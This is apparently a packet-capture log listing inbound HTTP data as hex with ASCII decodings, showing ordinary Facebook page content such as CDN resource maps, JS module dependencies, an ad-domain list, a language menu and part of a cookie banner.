2023-05-28 08:43:32 UTC	1346	IN	Data Raw: 34 68 38 6e 73 6e 2e 63 73 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 59 71 73 52 6e 38 6c 22 3a 7b 22 74 79 70 65 22 3a 22 63 73 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 4e 5c 2f 6c 5c 2f 30 2c 63 72 6f 73 73 5c 2f 35 62 72 77 76 59 4d 68 7a 69 76 2e 63 73 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 6a 32 75 76 58 77 54 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 4a 5c 2f 72 5c 2f Data Ascii: 4h8nsn.css?_nc_x=Ij3Wp8lg5Kz","nc":1},"YqsRn8l":{"type":"css","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yN\/l\/0,cross\/5brwvYMhziv.css?_nc_x=Ij3Wp8lg5Kz","nc":1},"j2uvXwT":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yJ\/r\/
2023-05-28 08:43:32 UTC	1348	IN	Data Raw: 73 72 63 2e 70 68 70 5c 2f 76 33 69 71 45 53 34 5c 2f 79 44 5c 2f 6c 5c 2f 65 6e 5f 55 53 5c 2f 35 55 6d 51 43 5a 57 72 59 42 4d 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 32 45 50 74 61 53 65 22 3a 7b 22 74 79 70 65 22 3a 22 63 73 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 79 5c 2f 6c 5c 2f 30 2c 63 72 6f 73 73 5c 2f 69 6d 42 32 53 5f 66 70 46 63 6d 2e 63 73 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 4c 61 52 58 39 4c 4d 22 3a 7b 22 74 79 70 65 22 3a 22 63 73 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 Data Ascii: src.php\/v3iqES4\/yD\/l\/en_US\/5UmQCZWrYBM.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"2EPtaSe":{"type":"css","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yy\/l\/0,cross\/imB2S_fpFcm.css?_nc_x=Ij3Wp8lg5Kz","nc":1},"LaRX9LM":{"type":"css","src":"https:\/\/stati
2023-05-28 08:43:32 UTC	1349	IN	Data Raw: 22 6e 63 22 3a 31 7d 2c 22 4c 5c 2f 37 37 36 47 49 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 54 5c 2f 72 5c 2f 78 47 5f 45 4a 69 5a 61 2d 77 2d 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 70 74 4a 6e 75 7a 73 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 32 5c 2f 72 5c 2f 43 61 78 6d 6b 6a 67 4f 47 51 5a 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 Data Ascii: "nc":1},"L\/776GI":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yT\/r\/xG_EJiZa-w-.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"ptJnuzs":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/y2\/r\/CaxmkjgOGQZ.js?_nc_x=Ij3Wp8lg5Kz","nc":1
2023-05-28 08:43:32 UTC	1351	IN	Data Raw: 66 66 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 31 36 31 53 77 76 58 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 62 5c 2f 72 5c 2f 30 73 52 79 66 6d 6e 76 38 46 58 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 56 76 56 46 77 38 6e 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 6e 5c 2f 72 5c 2f 41 57 65 70 76 66 2d 76 64 5a 47 2e 6a 73 3f 5f Data Ascii: ff.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"161SwvX":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yb\/r\/0sRyfmnv8FX.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"VvVFw8n":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yn\/r\/AWepvf-vdZG.js?_
2023-05-28 08:43:32 UTC	1352	IN	Data Raw: 49 6e 74 6c 51 74 45 76 65 6e 74 46 61 6c 63 6f 45 76 65 6e 74 22 5d 2c 22 72 22 3a 5b 22 33 63 7a 38 47 65 70 22 5d 7d 2c 22 62 65 22 3a 31 7d 2c 22 49 6e 70 75 74 22 3a 7b 22 72 22 3a 5b 22 64 41 57 4e 5a 5c 2f 73 22 5d 2c 22 62 65 22 3a 31 7d 2c 22 54 6f 67 67 6c 65 72 22 3a 7b 22 72 22 3a 5b 22 6d 64 58 79 55 44 4c 22 2c 22 56 62 79 37 6e 70 4a 22 2c 22 39 4e 4d 46 2b 71 78 22 2c 22 4f 4c 55 6e 71 7a 41 22 2c 22 5a 54 65 6e 56 2b 41 22 2c 22 37 5a 37 73 79 33 6c 22 2c 22 70 35 78 5c 2f 67 6b 6c 22 5d 2c 22 62 65 22 3a 31 7d 2c 22 54 6f 6f 6c 74 69 70 22 3a 7b 22 72 22 3a 5b 22 72 54 38 4d 6d 58 38 22 2c 22 52 35 77 31 72 43 4a 22 2c 22 6d 64 58 79 55 44 4c 22 2c 22 48 73 64 37 5a 32 56 22 2c 22 56 62 79 37 6e 70 4a 22 2c 22 4f 58 56 2b 75 56 31 22 2c Data Ascii: IntlQtEventFalcoEvent"],"r":["3cz8Gep"]},"be":1},"Input":{"r":["dAWNZ\/s"],"be":1},"Toggler":{"r":["mdXyUDL","Vby7npJ","9NMF+qx","OLUnqzA","ZTenV+A","7Z7sy3l","p5x\/gkl"],"be":1},"Tooltip":{"r":["rT8MmX8","R5w1rCJ","mdXyUDL","Hsd7Z2V","Vby7npJ","OXV+uV1",
2023-05-28 08:43:32 UTC	1354	IN	Data Raw: 74 6c 51 74 45 76 65 6e 74 46 61 6c 63 6f 45 76 65 6e 74 22 2c 22 50 61 67 65 54 72 61 6e 73 69 74 69 6f 6e 73 22 5d 7d 2c 22 62 65 22 3a 31 7d 2c 22 50 68 6f 74 6f 54 61 67 67 65 72 22 3a 7b 22 72 22 3a 5b 22 6a 55 47 46 34 71 74 22 2c 22 72 54 38 4d 6d 58 38 22 2c 22 52 35 77 31 72 43 4a 22 2c 22 33 63 7a 38 47 65 70 22 2c 22 6d 64 58 79 55 44 4c 22 2c 22 75 71 4d 62 53 6f 4e 22 2c 22 32 45 50 74 61 53 65 22 2c 22 49 5c 2f 54 5a 6e 65 4f 22 2c 22 67 50 71 33 71 4c 79 22 2c 22 56 62 79 37 6e 70 4a 22 2c 22 4f 58 56 2b 75 56 31 22 2c 22 5c 2f 41 4e 38 42 74 35 22 2c 22 77 50 39 53 72 58 54 22 2c 22 4c 66 46 65 36 6b 71 22 2c 22 66 6e 78 50 67 77 5c 2f 22 2c 22 62 4f 67 54 50 47 61 22 2c 22 4c 61 52 58 39 4c 4d 22 2c 22 4c 49 77 65 44 64 78 22 2c 22 49 4f Data Ascii: tlQtEventFalcoEvent","PageTransitions"]},"be":1},"PhotoTagger":{"r":["jUGF4qt","rT8MmX8","R5w1rCJ","3cz8Gep","mdXyUDL","uqMbSoN","2EPtaSe","I\/TZneO","gPq3qLy","Vby7npJ","OXV+uV1","\/AN8Bt5","wP9SrXT","LfFe6kq","fnxPgw\/","bOgTPGa","LaRX9LM","LIweDdx","IO
2023-05-28 08:43:32 UTC	1355	IN	Data Raw: 41 22 2c 22 54 4c 55 56 6b 36 54 22 2c 22 39 4d 6f 67 77 72 54 22 2c 22 64 4d 62 35 77 53 64 22 2c 22 6e 4e 78 6a 46 2b 4e 22 2c 22 37 5a 37 73 79 33 6c 22 2c 22 70 35 78 5c 2f 67 6b 6c 22 2c 22 65 4e 53 67 44 73 57 22 2c 22 64 41 57 4e 5a 5c 2f 73 22 2c 22 70 46 62 4a 6b 78 7a 22 2c 22 36 32 66 2b 46 7a 51 22 5d 2c 22 72 64 73 22 3a 7b 22 6d 22 3a 5b 22 46 62 74 4c 6f 67 67 69 6e 67 22 2c 22 49 6e 74 6c 51 74 45 76 65 6e 74 46 61 6c 63 6f 45 76 65 6e 74 22 2c 22 50 61 67 65 54 72 61 6e 73 69 74 69 6f 6e 73 22 2c 22 41 6e 69 6d 61 74 69 6f 6e 22 5d 7d 2c 22 62 65 22 3a 31 7d 2c 22 58 53 61 6c 65 73 50 72 6f 6d 6f 57 57 57 44 65 74 61 69 6c 73 44 69 61 6c 6f 67 41 73 79 6e 63 43 6f 6e 74 72 6f 6c 6c 65 72 22 3a 7b 22 72 22 3a 5b 22 67 57 4d 4a 67 54 65 22 Data Ascii: A","TLUVk6T","9MogwrT","dMb5wSd","nNxjF+N","7Z7sy3l","p5x\/gkl","eNSgDsW","dAWNZ\/s","pFbJkxz","62f+FzQ"],"rds":{"m":["FbtLogging","IntlQtEventFalcoEvent","PageTransitions","Animation"]},"be":1},"XSalesPromoWWWDetailsDialogAsyncController":{"r":["gWMJgTe"
2023-05-28 08:43:32 UTC	1357	IN	Data Raw: 4e 4d 46 2b 71 78 22 2c 22 4f 4c 55 6e 71 7a 41 22 2c 22 5a 54 65 6e 56 2b 41 22 2c 22 37 5a 37 73 79 33 6c 22 2c 22 6d 64 58 79 55 44 4c 22 5d 2c 22 62 65 22 3a 31 7d 2c 22 4d 57 41 44 65 76 65 6c 6f 70 65 72 52 65 61 75 74 68 42 61 72 72 69 65 72 22 3a 7b 22 72 22 3a 5b 22 69 31 76 44 4b 74 39 22 2c 22 56 68 71 75 4e 56 6c 22 2c 22 39 4e 4d 46 2b 71 78 22 2c 22 48 5c 2f 35 6c 66 75 46 22 2c 22 51 49 61 6d 66 64 65 22 2c 22 31 36 31 53 77 76 58 22 5d 2c 22 62 65 22 3a 31 7d 2c 22 52 65 61 63 74 44 4f 4d 22 3a 7b 22 72 22 3a 5b 22 6a 32 75 76 58 77 54 22 2c 22 36 32 66 2b 46 7a 51 22 2c 22 39 4e 4d 46 2b 71 78 22 2c 22 37 5a 37 73 79 33 6c 22 2c 22 72 54 38 4d 6d 58 38 22 2c 22 52 35 77 31 72 43 4a 22 2c 22 7a 72 31 53 34 50 44 22 2c 22 66 6e 78 50 67 77 Data Ascii: NMF+qx","OLUnqzA","ZTenV+A","7Z7sy3l","mdXyUDL"],"be":1},"MWADeveloperReauthBarrier":{"r":["i1vDKt9","VhquNVl","9NMF+qx","H\/5lfuF","QIamfde","161SwvX"],"be":1},"ReactDOM":{"r":["j2uvXwT","62f+FzQ","9NMF+qx","7Z7sy3l","rT8MmX8","R5w1rCJ","zr1S4PD","fnxPgw
2023-05-28 08:43:32 UTC	1357	IN	Data Raw: 31 35 37 66 0d 0a 54 61 62 4f 72 64 65 72 22 3a 7b 22 72 22 3a 5b 22 6d 64 58 79 55 44 4c 22 2c 22 56 62 79 37 6e 70 4a 22 2c 22 61 35 4f 7a 5a 7a 6e 22 2c 22 39 4e 4d 46 2b 71 78 22 2c 22 4f 4c 55 6e 71 7a 41 22 2c 22 5a 54 65 6e 56 2b 41 22 2c 22 64 4d 62 35 77 53 64 22 2c 22 70 35 78 5c 2f 67 6b 6c 22 5d 2c 22 62 65 22 3a 31 7d 2c 22 58 55 49 44 69 61 6c 6f 67 42 75 74 74 6f 6e 2e 72 65 61 63 74 22 3a 7b 22 72 22 3a 5b 22 72 54 38 4d 6d 58 38 22 2c 22 52 35 77 31 72 43 4a 22 2c 22 6d 64 58 79 55 44 4c 22 2c 22 4c 66 46 65 36 6b 71 22 2c 22 69 31 76 44 4b 74 39 22 2c 22 66 6e 78 50 67 77 5c 2f 22 2c 22 54 58 7a 4a 35 48 46 22 2c 22 52 58 63 44 42 6c 42 22 2c 22 39 4e 4d 46 2b 71 78 22 2c 22 6e 61 45 63 72 4f 47 22 2c 22 73 34 57 30 58 46 5c 2f 22 2c 22 Data Ascii: 157fTabOrder":{"r":["mdXyUDL","Vby7npJ","a5OzZzn","9NMF+qx","OLUnqzA","ZTenV+A","dMb5wSd","p5x\/gkl"],"be":1},"XUIDialogButton.react":{"r":["rT8MmX8","R5w1rCJ","mdXyUDL","LfFe6kq","i1vDKt9","fnxPgw\/","TXzJ5HF","RXcDBlB","9NMF+qx","naEcrOG","s4W0XF\/","
2023-05-28 08:43:32 UTC	1358	IN	Data Raw: 6c 4a 53 4c 6f 61 64 65 72 2e 6c 6f 61 64 4f 6e 44 4f 4d 43 6f 6e 74 65 6e 74 52 65 61 64 79 28 5b 22 2b 7a 79 76 38 55 65 22 2c 22 37 5a 37 73 79 33 6c 22 2c 22 33 63 7a 38 47 65 70 22 2c 22 67 50 71 33 71 4c 79 22 2c 22 56 62 79 37 6e 70 4a 22 2c 22 5c 2f 41 4e 38 42 74 35 22 2c 22 4f 4c 55 6e 71 7a 41 22 2c 22 5a 54 65 6e 56 2b 41 22 2c 22 4c 66 46 65 36 6b 71 22 2c 22 39 4e 4d 46 2b 71 78 22 2c 22 73 34 57 30 58 46 5c 2f 22 2c 22 39 4d 6f 67 77 72 54 22 2c 22 69 31 76 44 4b 74 39 22 2c 22 32 52 47 45 70 78 50 22 2c 22 52 35 77 31 72 43 4a 22 2c 22 66 6e 78 50 67 77 5c 2f 22 2c 22 70 35 78 5c 2f 67 6b 6c 22 2c 22 64 41 57 4e 5a 5c 2f 73 22 2c 22 5c 2f 72 4f 30 6c 62 6e 22 2c 22 4a 65 5c 2f 35 68 63 68 22 2c 22 6a 32 75 76 58 77 54 22 2c 22 72 54 38 4d Data Ascii: lJSLoader.loadOnDOMContentReady(["+zyv8Ue","7Z7sy3l","3cz8Gep","gPq3qLy","Vby7npJ","\/AN8Bt5","OLUnqzA","ZTenV+A","LfFe6kq","9NMF+qx","s4W0XF\/","9MogwrT","i1vDKt9","2RGEpxP","R5w1rCJ","fnxPgw\/","p5x\/gkl","dAWNZ\/s","\/rO0lbn","Je\/5hch","j2uvXwT","rT8M
2023-05-28 08:43:32 UTC	1360	IN	Data Raw: 2c 22 61 64 73 2d 65 6e 63 72 79 70 74 69 6f 6e 2d 75 72 6c 2d 65 78 61 6d 70 6c 65 2e 63 6f 6d 22 2c 22 62 73 2e 73 65 72 76 69 6e 67 2d 73 79 73 2e 63 6f 6d 22 2c 22 61 64 2e 61 74 64 6d 74 2e 63 6f 6d 22 2c 22 61 64 66 6f 72 6d 2e 6e 65 74 22 2c 22 61 64 31 33 2e 61 64 66 61 72 6d 31 2e 61 64 69 74 69 6f 6e 2e 63 6f 6d 22 2c 22 69 6c 6f 76 65 6d 79 66 72 65 65 64 6f 6d 73 2e 63 6f 6d 22 2c 22 73 65 63 75 72 65 2e 61 64 6e 78 73 2e 63 6f 6d 22 5d 2c 22 69 73 5f 6d 6f 62 69 6c 65 5f 64 65 76 69 63 65 22 3a 66 61 6c 73 65 7d 2c 32 37 5d 5d 2c 22 69 6e 73 74 61 6e 63 65 73 22 3a 5b 5b 22 5f 5f 69 6e 73 74 5f 30 32 31 38 32 30 31 35 5f 30 5f 30 5f 54 50 22 2c 5b 22 53 65 6c 65 63 74 61 62 6c 65 4d 65 6e 75 22 2c 22 4d 65 6e 75 53 65 6c 65 63 74 61 62 6c 65 Data Ascii: ,"ads-encryption-url-example.com","bs.serving-sys.com","ad.atdmt.com","adform.net","ad13.adfarm1.adition.com","ilovemyfreedoms.com","secure.adnxs.com"],"is_mobile_device":false},27]],"instances":[["__inst_02182015_0_0_TP",["SelectableMenu","MenuSelectable
2023-05-28 08:43:32 UTC	1361	IN	Data Raw: 37 39 5f 30 5f 31 5f 38 56 22 7d 2c 22 6c 61 62 65 6c 22 3a 22 44 61 6e 73 6b 22 2c 22 74 69 74 6c 65 22 3a 22 22 2c 22 63 6c 61 73 73 4e 61 6d 65 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 7d 2c 7b 22 63 6c 61 73 73 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 2c 22 76 61 6c 75 65 22 3a 22 64 65 5f 44 45 22 2c 22 73 65 6c 65 63 74 65 64 22 3a 66 61 6c 73 65 2c 22 63 74 6f 72 22 3a 7b 22 5f 5f 6d 22 3a 22 4d 65 6e 75 53 65 6c 65 63 74 61 62 6c 65 49 74 65 6d 22 7d 2c 22 6d 61 72 6b 75 70 22 3a 7b 22 5f 5f 6d 22 3a 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 32 5f 32 2b 22 7d 2c 22 6c 61 62 65 6c 22 3a 22 44 65 75 74 73 63 68 22 2c 22 74 69 74 6c 65 22 3a 22 22 2c 22 63 6c 61 73 73 4e 61 6d 65 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 7d 2c Data Ascii: 79_0_1_8V"},"label":"Dansk","title":"","className":"headerItem"},{"class":"headerItem","value":"de_DE","selected":false,"ctor":{"__m":"MenuSelectableItem"},"markup":{"__m":"__markup_3310c079_0_2_2+"},"label":"Deutsch","title":"","className":"headerItem"},
2023-05-28 08:43:32 UTC	1363	IN	Data Raw: 22 3a 66 61 6c 73 65 2c 22 63 74 6f 72 22 3a 7b 22 5f 5f 6d 22 3a 22 4d 65 6e 75 53 65 6c 65 63 74 61 62 6c 65 49 74 65 6d 22 7d 2c 22 6d 61 72 6b 75 70 22 3a 7b 22 5f 5f 6d 22 3a 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 39 5f 38 58 22 7d 2c 22 6c 61 62 65 6c 22 3a 22 4d 61 67 79 61 72 22 2c 22 74 69 74 6c 65 22 3a 22 22 2c 22 63 6c 61 73 73 4e 61 6d 65 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 7d 2c 7b 22 63 6c 61 73 73 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 2c 22 76 61 6c 75 65 22 3a 22 6e 6c 5f 4e 4c 22 2c 22 73 65 6c 65 63 74 65 64 22 3a 66 61 6c 73 65 2c 22 63 74 6f 72 22 3a 7b 22 5f 5f 6d 22 3a 22 4d 65 6e 75 53 65 6c 65 63 74 61 62 6c 65 49 74 65 6d 22 7d 2c 22 6d 61 72 6b 75 70 22 3a 7b 22 5f 5f 6d 22 3a 22 5f 5f 6d 61 72 Data Ascii: ":false,"ctor":{"__m":"MenuSelectableItem"},"markup":{"__m":"__markup_3310c079_0_9_8X"},"label":"Magyar","title":"","className":"headerItem"},{"class":"headerItem","value":"nl_NL","selected":false,"ctor":{"__m":"MenuSelectableItem"},"markup":{"__m":"__mar
2023-05-28 08:43:32 UTC	1364	IN	Data Raw: 2c 22 63 6c 61 73 73 4e 61 6d 65 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 7d 2c 7b 22 63 6c 61 73 73 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 2c 22 76 61 6c 75 65 22 3a 22 73 76 5f 53 45 22 2c 22 73 65 6c 65 63 74 65 64 22 3a 66 61 6c 73 65 2c 22 63 74 6f 72 22 3a 7b 22 5f 5f 6d 22 3a 22 4d 65 6e 75 53 65 6c 65 63 74 61 62 6c 65 49 74 65 6d 22 7d 2c 22 6d 61 72 6b 75 70 22 3a 7b 22 5f 5f 6d 22 3a 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 68 5f 47 51 22 7d 2c 22 6c 61 62 65 6c 22 3a 22 53 76 65 6e 73 6b 61 22 2c 22 74 69 74 6c 65 22 3a 22 22 2c 22 63 6c 61 73 73 4e 61 6d 65 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 7d 2c 7b 22 63 6c 61 73 73 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 2c 22 76 61 6c 75 65 22 3a 22 76 69 5f 56 4e 22 2c Data Ascii: ,"className":"headerItem"},{"class":"headerItem","value":"sv_SE","selected":false,"ctor":{"__m":"MenuSelectableItem"},"markup":{"__m":"__markup_3310c079_0_h_GQ"},"label":"Svenska","title":"","className":"headerItem"},{"class":"headerItem","value":"vi_VN",
2023-05-28 08:43:32 UTC	1366	IN	Data Raw: 65 61 64 65 72 49 74 65 6d 22 2c 22 76 61 6c 75 65 22 3a 22 61 72 5f 41 52 22 2c 22 73 65 6c 65 63 74 65 64 22 3a 66 61 6c 73 65 2c 22 63 74 6f 72 22 3a 7b 22 5f 5f 6d 22 3a 22 4d 65 6e 75 53 65 6c 65 63 74 61 62 6c 65 49 74 65 6d 22 7d 2c 22 6d 61 72 6b 75 70 22 3a 7b 22 5f 5f 6d 22 3a 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 6f 5f 77 41 22 7d 2c 22 6c 61 62 65 6c 22 3a 22 5c 75 30 36 32 37 5c 75 30 36 34 34 5c 75 30 36 33 39 5c 75 30 36 33 31 5c 75 30 36 32 38 5c 75 30 36 34 61 5c 75 30 36 32 39 22 2c 22 74 69 74 6c 65 22 3a 22 22 2c 22 63 6c 61 73 73 4e 61 6d 65 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 7d 2c 7b 22 63 6c 61 73 73 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 2c 22 76 61 6c 75 65 22 3a 22 68 69 5f 49 4e 22 2c 22 73 65 Data Ascii: eaderItem","value":"ar_AR","selected":false,"ctor":{"__m":"MenuSelectableItem"},"markup":{"__m":"__markup_3310c079_0_o_wA"},"label":"\u0627\u0644\u0639\u0631\u0628\u064a\u0629","title":"","className":"headerItem"},{"class":"headerItem","value":"hi_IN","se
2023-05-28 08:43:32 UTC	1367	IN	Data Raw: 65 72 49 74 65 6d 22 2c 22 76 61 6c 75 65 22 3a 22 6b 6f 5f 4b 52 22 2c 22 73 65 6c 65 63 74 65 64 22 3a 66 61 6c 73 65 2c 22 63 74 6f 72 22 3a 7b 22 5f 5f 6d 22 3a 22 4d 65 6e 75 53 65 6c 65 63 74 61 62 6c 65 49 74 65 6d 22 7d 2c 22 6d 61 72 6b 75 70 22 3a 7b 22 5f 5f 6d 22 3a 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 76 5f 76 4c 22 7d 2c 22 6c 61 62 65 6c 22 3a 22 5c 75 64 35 35 63 5c 75 61 64 36 64 5c 75 63 35 62 34 22 2c 22 74 69 74 6c 65 22 3a 22 22 2c 22 63 6c 61 73 73 4e 61 6d 65 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 7d 5d 2c 7b 22 69 64 22 3a 22 75 5f 30 5f 36 5f 7a 41 22 2c 22 62 65 68 61 76 69 6f 72 73 22 3a 5b 7b 22 5f 5f 6d 22 3a 22 58 55 49 4d 65 6e 75 57 69 74 68 53 71 75 61 72 65 43 6f 72 6e 65 72 22 7d 5d 2c 22 63 Data Ascii: erItem","value":"ko_KR","selected":false,"ctor":{"__m":"MenuSelectableItem"},"markup":{"__m":"__markup_3310c079_0_v_vL"},"label":"\ud55c\uad6d\uc5b4","title":"","className":"headerItem"}],{"id":"u_0_6_zA","behaviors":[{"__m":"XUIMenuWithSquareCorner"}],"c
2023-05-28 08:43:32 UTC	1369	IN	Data Raw: 6c 69 70 22 7d 2c 7b 22 5f 5f 6d 22 3a 22 43 6f 6e 74 65 78 74 75 61 6c 44 69 61 6c 6f 67 41 72 72 6f 77 22 7d 2c 7b 22 5f 5f 6d 22 3a 22 43 6f 6e 74 65 78 74 75 61 6c 4c 61 79 65 72 50 6f 73 69 74 69 6f 6e 43 6c 61 73 73 4f 6e 43 6f 6e 74 65 78 74 22 7d 5d 2c 7b 22 61 6c 69 67 6e 68 22 3a 22 6c 65 66 74 22 2c 22 70 6f 73 69 74 69 6f 6e 22 3a 22 62 65 6c 6f 77 22 7d 5d 2c 32 5d 5d 2c 22 6d 61 72 6b 75 70 22 3a 5b 5b 22 5f 5f 6d 61 72 6b 75 70 5f 39 66 35 66 61 63 31 35 5f 30 5f 30 5f 79 41 22 2c 7b 22 5f 5f 68 74 6d 6c 22 3a 22 5c 75 30 30 33 43 64 69 76 3e 5c 75 30 30 33 43 64 69 76 20 63 6c 61 73 73 3d 5c 22 5f 34 2d 69 32 20 5f 70 69 67 20 5f 61 6c 35 68 20 5f 61 6c 37 6a 20 5f 35 30 66 34 5c 22 3e 5c 75 30 30 33 43 64 69 76 20 63 6c 61 73 73 3d 5c 22 Data Ascii: lip"},{"__m":"ContextualDialogArrow"},{"__m":"ContextualLayerPositionClassOnContext"}],{"alignh":"left","position":"below"}],2]],"markup":[["__markup_9f5fac15_0_0_yA",{"__html":"\u003Cdiv>\u003Cdiv class=\"_4-i2 _pig _al5h _al7j _50f4\">\u003Cdiv class=\"
2023-05-28 08:43:32 UTC	1370	IN	Data Raw: 33 33 34 33 0d 0a 6e 20 74 68 69 73 20 62 72 6f 77 73 65 72 3f 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 64 69 76 20 63 6c 61 73 73 3d 5c 22 5f 61 6c 35 30 5c 22 3e 5c 75 30 30 33 43 64 69 76 3e 5c 75 30 30 33 43 70 3e 57 65 20 75 73 65 20 63 6f 6f 6b 69 65 73 20 61 6e 64 20 73 69 6d 69 6c 61 72 20 74 65 63 68 6e 6f 6c 6f 67 69 65 73 20 74 6f 20 68 65 6c 70 20 70 72 6f 76 69 64 65 20 61 6e 64 20 69 6d 70 72 6f 76 65 20 63 6f 6e 74 65 6e 74 20 6f 6e 20 5c 75 30 30 33 43 61 20 68 72 65 66 3d 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 5c 2f 68 65 6c 70 5c 2f 31 35 36 31 34 38 35 34 37 34 30 37 34 31 33 39 5c 22 20 74 61 72 67 65 74 3d Data Ascii: 3343n this browser?\u003C\/div>\u003C\/div>\u003C\/div>\u003Cdiv class=\"_al50\">\u003Cdiv>\u003Cp>We use cookies and similar technologies to help provide and improve content on \u003Ca href=\"https:\/\/www.facebook.com\/help\/1561485474074139\" target=
2023-05-28 08:43:32 UTC	1371	IN	Data Raw: 65 73 5c 2f 63 6f 6f 6b 69 65 73 5c 2f 63 6f 6f 6b 69 65 5f 69 6e 66 6f 5f 63 61 72 64 5f 69 6d 61 67 65 5f 31 2e 70 6e 67 5c 22 20 61 6c 74 3d 5c 22 62 61 63 6b 67 72 6f 75 6e 64 20 69 6d 61 67 65 5c 22 20 63 6c 61 73 73 3d 5c 22 5f 61 6c 34 7a 5c 22 20 5c 2f 3e 5c 75 30 30 33 43 64 69 76 20 63 6c 61 73 73 3d 5c 22 5f 61 6c 34 5f 5c 22 3e 5c 75 30 30 33 43 64 69 76 20 63 6c 61 73 73 3d 5c 22 5f 61 6c 34 2d 5c 22 3e 57 68 61 74 20 61 72 65 20 63 6f 6f 6b 69 65 73 3f 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 62 75 74 74 6f 6e 20 63 6c 61 73 73 3d 5c 22 5f 61 6c 36 36 5c 22 3e 4c 65 61 72 6e 20 6d 6f 72 65 5c 75 30 30 33 43 5c 2f 62 75 74 74 6f 6e 3e 5c 